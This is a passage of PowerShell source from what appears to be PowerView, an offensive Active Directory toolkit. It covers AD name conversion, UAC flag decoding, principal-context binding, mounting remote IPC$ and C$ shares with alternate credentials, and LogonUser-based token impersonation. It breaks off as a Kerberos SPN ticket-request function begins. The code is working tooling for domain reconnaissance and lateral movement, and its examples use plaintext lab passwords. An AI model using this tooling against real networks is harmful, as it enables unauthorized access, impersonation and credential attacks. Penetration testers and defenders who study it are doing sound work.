Specifies the Active Directory object name to translate, of the following form:
|
|
|
|
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
|
|
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
|
|
NT4 domain\username; e.g., 'fabrikam\pflynn'
|
|
Display display name, e.g. 'pflynn'
|
|
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
|
|
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
|
|
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
|
|
UPN user principal name; e.g., 'pflynn@fabrikam.com'
|
|
CanonicalEx extended canonical name format
|
|
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
|
|
SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
|
|
|
|
.PARAMETER OutputType
|
|
|
|
Specifies the output name type you want to convert to, which must be one of the following:
|
|
|
|
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
|
|
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
|
|
NT4 domain\username; e.g., 'fabrikam\pflynn'
|
|
Display display name, e.g. 'pflynn'
|
|
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
|
|
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
|
|
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
|
|
UPN user principal name; e.g., 'pflynn@fabrikam.com'
|
|
CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
|
|
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the translation, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to for the translation.
|
|
|
|
.PARAMETER Credential
|
|
|
|
Specifies an alternate credential to use for the translation.
|
|
|
|
.EXAMPLE
|
|
|
|
Convert-ADName -Identity "TESTLAB\harmj0y"
|
|
|
|
harmj0y@testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
|
|
|
|
testlab.local/Users/krbtgt
|
|
testlab.local/Users/Administrator
|
|
|
|
.EXAMPLE
|
|
|
|
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
|
|
|
|
CN=harmj0y,CN=Users,DC=testlab,DC=local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
|
|
'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
|
|
|
|
TESTLAB\harmj0y
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
Accepts one or more objects name strings on the pipeline.
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
Outputs a string representing the converted name.
|
|
|
|
.LINK
|
|
|
|
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
|
|
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name', 'ObjectName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[String]
|
|
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
|
|
$OutputType,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$NameTypes = @{
|
|
'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
|
|
'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
|
|
'NT4' = 3 # fabrikam\pflynn
|
|
'Display' = 4 # pflynn
|
|
'DomainSimple' = 5 # pflynn@fabrikam.com
|
|
'EnterpriseSimple' = 6 # pflynn@fabrikam.com
|
|
'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
|
|
'Unknown' = 8 # unknown type - let the server do translation
|
|
'UPN' = 9 # pflynn@fabrikam.com
|
|
'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
|
|
'SPN' = 11 # HTTP/kairomac.contoso.com
|
|
'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
|
|
}
|
|
|
|
# accessor functions from Bill Stewart to simplify calls to NameTranslate
|
|
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
|
|
$Output = $Null
|
|
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
|
|
Write-Output $Output
|
|
}
|
|
|
|
function Get-Property([__ComObject] $Object, [String] $Property) {
|
|
$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
|
|
}
|
|
|
|
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
|
|
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
|
|
}
|
|
|
|
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
|
|
if ($PSBoundParameters['Server']) {
|
|
$ADSInitType = 2
|
|
$InitName = $Server
|
|
}
|
|
elseif ($PSBoundParameters['Domain']) {
|
|
$ADSInitType = 1
|
|
$InitName = $Domain
|
|
}
|
|
elseif ($PSBoundParameters['Credential']) {
|
|
$Cred = $Credential.GetNetworkCredential()
|
|
$ADSInitType = 1
|
|
$InitName = $Cred.Domain
|
|
}
|
|
else {
|
|
# if no domain or server is specified, default to GC initialization
|
|
$ADSInitType = 3
|
|
$InitName = $Null
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($TargetIdentity in $Identity) {
|
|
if (-not $PSBoundParameters['OutputType']) {
|
|
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
|
|
$ADSOutputType = $NameTypes['DomainSimple']
|
|
}
|
|
else {
|
|
$ADSOutputType = $NameTypes['NT4']
|
|
}
|
|
}
|
|
else {
|
|
$ADSOutputType = $NameTypes[$OutputType]
|
|
}
|
|
|
|
$Translate = New-Object -ComObject NameTranslate
|
|
|
|
if ($PSBoundParameters['Credential']) {
|
|
try {
|
|
$Cred = $Credential.GetNetworkCredential()
|
|
|
|
Invoke-Method $Translate 'InitEx' (
|
|
$ADSInitType,
|
|
$InitName,
|
|
$Cred.UserName,
|
|
$Cred.Domain,
|
|
$Cred.Password
|
|
)
|
|
}
|
|
catch {
|
|
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
|
|
}
|
|
}
|
|
else {
|
|
try {
|
|
$Null = Invoke-Method $Translate 'Init' (
|
|
$ADSInitType,
|
|
$InitName
|
|
)
|
|
}
|
|
catch {
|
|
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
|
|
}
|
|
}
|
|
|
|
# always chase all referrals
|
|
Set-Property $Translate 'ChaseReferral' (0x60)
|
|
|
|
try {
|
|
# 8 = Unknown name type -> let the server do the work for us
|
|
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
|
|
Invoke-Method $Translate 'Get' ($ADSOutputType)
|
|
}
|
|
catch [System.Management.Automation.MethodInvocationException] {
|
|
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function ConvertFrom-UACValue {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Converts a UAC int value to human readable form.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will take an integer that represents a User Account
|
|
Control (UAC) binary blob and will covert it to an ordered
|
|
dictionary with each bitwise value broken out. By default only values
|
|
set are displayed- the -ShowAll switch will display all values with
|
|
a + next to the ones set.
|
|
|
|
.PARAMETER Value
|
|
|
|
Specifies the integer UAC value to convert.
|
|
|
|
.PARAMETER ShowAll
|
|
|
|
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
|
|
|
|
.EXAMPLE
|
|
|
|
ConvertFrom-UACValue -Value 66176
|
|
|
|
Name Value
|
|
---- -----
|
|
ENCRYPTED_TEXT_PWD_ALLOWED 128
|
|
NORMAL_ACCOUNT 512
|
|
DONT_EXPIRE_PASSWORD 65536
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser harmj0y | ConvertFrom-UACValue
|
|
|
|
Name Value
|
|
---- -----
|
|
NORMAL_ACCOUNT 512
|
|
DONT_EXPIRE_PASSWORD 65536
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
|
|
|
|
Name Value
|
|
---- -----
|
|
SCRIPT 1
|
|
ACCOUNTDISABLE 2
|
|
HOMEDIR_REQUIRED 8
|
|
LOCKOUT 16
|
|
PASSWD_NOTREQD 32
|
|
PASSWD_CANT_CHANGE 64
|
|
ENCRYPTED_TEXT_PWD_ALLOWED 128
|
|
TEMP_DUPLICATE_ACCOUNT 256
|
|
NORMAL_ACCOUNT 512+
|
|
INTERDOMAIN_TRUST_ACCOUNT 2048
|
|
WORKSTATION_TRUST_ACCOUNT 4096
|
|
SERVER_TRUST_ACCOUNT 8192
|
|
DONT_EXPIRE_PASSWORD 65536+
|
|
MNS_LOGON_ACCOUNT 131072
|
|
SMARTCARD_REQUIRED 262144
|
|
TRUSTED_FOR_DELEGATION 524288
|
|
NOT_DELEGATED 1048576
|
|
USE_DES_KEY_ONLY 2097152
|
|
DONT_REQ_PREAUTH 4194304
|
|
PASSWORD_EXPIRED 8388608
|
|
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
|
|
PARTIAL_SECRETS_ACCOUNT 67108864
|
|
|
|
.INPUTS
|
|
|
|
Int
|
|
|
|
Accepts an integer representing a UAC binary blob.
|
|
|
|
.OUTPUTS
|
|
|
|
System.Collections.Specialized.OrderedDictionary
|
|
|
|
An ordered dictionary with the converted UAC fields.
|
|
|
|
.LINK
|
|
|
|
https://support.microsoft.com/en-us/kb/305144
|
|
#>
|
|
|
|
[OutputType('System.Collections.Specialized.OrderedDictionary')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('UAC', 'useraccountcontrol')]
|
|
[Int]
|
|
$Value,
|
|
|
|
[Switch]
|
|
$ShowAll
|
|
)
|
|
|
|
BEGIN {
|
|
# values from https://support.microsoft.com/en-us/kb/305144
|
|
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
|
|
$UACValues.Add("SCRIPT", 1)
|
|
$UACValues.Add("ACCOUNTDISABLE", 2)
|
|
$UACValues.Add("HOMEDIR_REQUIRED", 8)
|
|
$UACValues.Add("LOCKOUT", 16)
|
|
$UACValues.Add("PASSWD_NOTREQD", 32)
|
|
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
|
|
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
|
|
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
|
|
$UACValues.Add("NORMAL_ACCOUNT", 512)
|
|
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
|
|
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
|
|
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
|
|
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
|
|
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
|
|
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
|
|
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
|
|
$UACValues.Add("NOT_DELEGATED", 1048576)
|
|
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
|
|
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
|
|
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
|
|
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
|
|
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
|
|
}
|
|
|
|
PROCESS {
|
|
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
|
|
|
|
if ($ShowAll) {
|
|
ForEach ($UACValue in $UACValues.GetEnumerator()) {
|
|
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
|
|
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
|
|
}
|
|
else {
|
|
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
ForEach ($UACValue in $UACValues.GetEnumerator()) {
|
|
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
|
|
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
|
|
}
|
|
}
|
|
}
|
|
$ResultUACValues
|
|
}
|
|
}
|
|
|
|
|
|
function Get-PrincipalContext {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
|
|
and simplified identity.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER Identity
|
|
|
|
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
|
|
or a DOMAIN\username identity.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use to search for user/group principals, defaults to the current domain.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[Alias('GroupName', 'GroupIdentity')]
|
|
[String]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
|
|
|
|
try {
|
|
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
|
|
if ($Identity -match '.+\\.+') {
|
|
# DOMAIN\groupname
|
|
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
|
|
if ($ConvertedIdentity) {
|
|
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
|
|
$ObjectIdentity = $Identity.Split('\')[1]
|
|
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
|
|
}
|
|
}
|
|
else {
|
|
$ObjectIdentity = $Identity
|
|
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
|
|
$ConnectTarget = $Domain
|
|
}
|
|
|
|
if ($PSBoundParameters['Credential']) {
|
|
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
|
|
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
|
}
|
|
else {
|
|
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
|
|
}
|
|
}
|
|
else {
|
|
if ($PSBoundParameters['Credential']) {
|
|
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
|
|
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
|
|
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
|
}
|
|
else {
|
|
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
|
|
}
|
|
$ObjectIdentity = $Identity
|
|
}
|
|
|
|
$Out = New-Object PSObject
|
|
$Out | Add-Member Noteproperty 'Context' $Context
|
|
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
|
|
$Out
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
|
|
}
|
|
}
|
|
|
|
|
|
function Add-RemoteConnection {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Pseudo "mounts" a connection to a remote path using the specified
|
|
credential object, allowing for access of remote resources. If a -Path isn't
|
|
specified, a -ComputerName is required to pseudo-mount IPC$.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect
|
|
|
|
.DESCRIPTION
|
|
|
|
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
|
|
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
|
|
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
|
|
|
|
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
|
|
or -ComputerName.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the system to add a \\ComputerName\IPC$ connection for.
|
|
|
|
.PARAMETER Path
|
|
|
|
Specifies the remote \\UNC\path to add the connection for.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
$Cred = Get-Credential
|
|
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
|
|
|
|
.EXAMPLE
|
|
|
|
$Cred = Get-Credential
|
|
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
|
|
#>
|
|
|
|
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
|
|
[ValidatePattern('\\\\.*\\.*')]
|
|
[String[]]
|
|
$Path,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential
|
|
)
|
|
|
|
BEGIN {
|
|
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
|
|
$NetResourceInstance.dwType = 1
|
|
}
|
|
|
|
PROCESS {
|
|
$Paths = @()
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
ForEach ($TargetComputerName in $ComputerName) {
|
|
$TargetComputerName = $TargetComputerName.Trim('\')
|
|
$Paths += ,"\\$TargetComputerName\IPC$"
|
|
}
|
|
}
|
|
else {
|
|
$Paths += ,$Path
|
|
}
|
|
|
|
ForEach ($TargetPath in $Paths) {
|
|
$NetResourceInstance.lpRemoteName = $TargetPath
|
|
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
|
|
|
|
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
|
|
# CONNECT_TEMPORARY = 4
|
|
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
|
|
|
|
if ($Result -eq 0) {
|
|
Write-Verbose "$TargetPath successfully mounted"
|
|
}
|
|
else {
|
|
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Remove-RemoteConnection {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Destroys a connection created by New-RemoteConnection.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect
|
|
|
|
.DESCRIPTION
|
|
|
|
This function uses WNetCancelConnection2 to destroy a connection created by
|
|
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
|
|
'unmount' \\$ComputerName\IPC$.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the system to remove a \\ComputerName\IPC$ connection for.
|
|
|
|
.PARAMETER Path
|
|
|
|
Specifies the remote \\UNC\path to remove the connection for.
|
|
|
|
.EXAMPLE
|
|
|
|
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
|
|
|
|
.EXAMPLE
|
|
|
|
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
|
|
|
|
.EXAMPLE
|
|
|
|
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
|
|
[ValidatePattern('\\\\.*\\.*')]
|
|
[String[]]
|
|
$Path
|
|
)
|
|
|
|
PROCESS {
|
|
$Paths = @()
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
ForEach ($TargetComputerName in $ComputerName) {
|
|
$TargetComputerName = $TargetComputerName.Trim('\')
|
|
$Paths += ,"\\$TargetComputerName\IPC$"
|
|
}
|
|
}
|
|
else {
|
|
$Paths += ,$Path
|
|
}
|
|
|
|
ForEach ($TargetPath in $Paths) {
|
|
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
|
|
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
|
|
|
|
if ($Result -eq 0) {
|
|
Write-Verbose "$TargetPath successfully ummounted"
|
|
}
|
|
else {
|
|
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Invoke-UserImpersonation {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates a new "runas /netonly" type logon and impersonates the token.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect
|
|
|
|
.DESCRIPTION
|
|
|
|
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
|
|
to simulate "runas /netonly". The resulting token is then impersonated with
|
|
ImpersonateLoggedOnUser() and the token handle is returned for later usage
|
|
with Invoke-RevertToSelf.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object with alternate credentials
|
|
to impersonate in the current thread space.
|
|
|
|
.PARAMETER TokenHandle
|
|
|
|
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
|
|
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
|
|
is executed.
|
|
|
|
.PARAMETER Quiet
|
|
|
|
Suppress any warnings about STA vs MTA.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Invoke-UserImpersonation -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
IntPtr
|
|
|
|
The TokenHandle result from LogonUser.
|
|
#>
|
|
|
|
[OutputType([IntPtr])]
|
|
[CmdletBinding(DefaultParameterSetName = 'Credential')]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential,
|
|
|
|
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
|
|
[ValidateNotNull()]
|
|
[IntPtr]
|
|
$TokenHandle,
|
|
|
|
[Switch]
|
|
$Quiet
|
|
)
|
|
|
|
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
|
|
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
|
|
}
|
|
|
|
if ($PSBoundParameters['TokenHandle']) {
|
|
$LogonTokenHandle = $TokenHandle
|
|
}
|
|
else {
|
|
$LogonTokenHandle = [IntPtr]::Zero
|
|
$NetworkCredential = $Credential.GetNetworkCredential()
|
|
$UserDomain = $NetworkCredential.Domain
|
|
$UserName = $NetworkCredential.UserName
|
|
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
|
|
|
|
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
|
|
# this is to simulate "runas.exe /netonly" functionality
|
|
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
|
|
|
|
if (-not $Result) {
|
|
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
|
|
}
|
|
}
|
|
|
|
# actually impersonate the token from LogonUser()
|
|
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
|
|
|
|
if (-not $Result) {
|
|
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
|
|
}
|
|
|
|
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
|
|
$LogonTokenHandle
|
|
}
|
|
|
|
|
|
function Invoke-RevertToSelf {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Reverts any token impersonation.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect
|
|
|
|
.DESCRIPTION
|
|
|
|
This function uses RevertToSelf() to revert any impersonated tokens.
|
|
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
|
|
CloseHandle() is used to close the opened handle.
|
|
|
|
.PARAMETER TokenHandle
|
|
|
|
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
$Token = Invoke-UserImpersonation -Credential $Cred
|
|
Invoke-RevertToSelf -TokenHandle $Token
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
Param(
|
|
[ValidateNotNull()]
|
|
[IntPtr]
|
|
$TokenHandle
|
|
)
|
|
|
|
if ($PSBoundParameters['TokenHandle']) {
|
|
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
|
|
$Result = $Kernel32::CloseHandle($TokenHandle)
|
|
}
|
|
|
|
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
|
|
|
|
if (-not $Result) {
|
|
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
|
|
}
|
|
|
|
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
|
|
}
|
|
|
|
|
|
function Get-DomainSPNTicket {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Request the kerberos ticket for a specified service principal name (SPN).
|
|
|
|
Author: machosec, Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
|
|
|
|
.DESCRIPTION
|
|
|
|
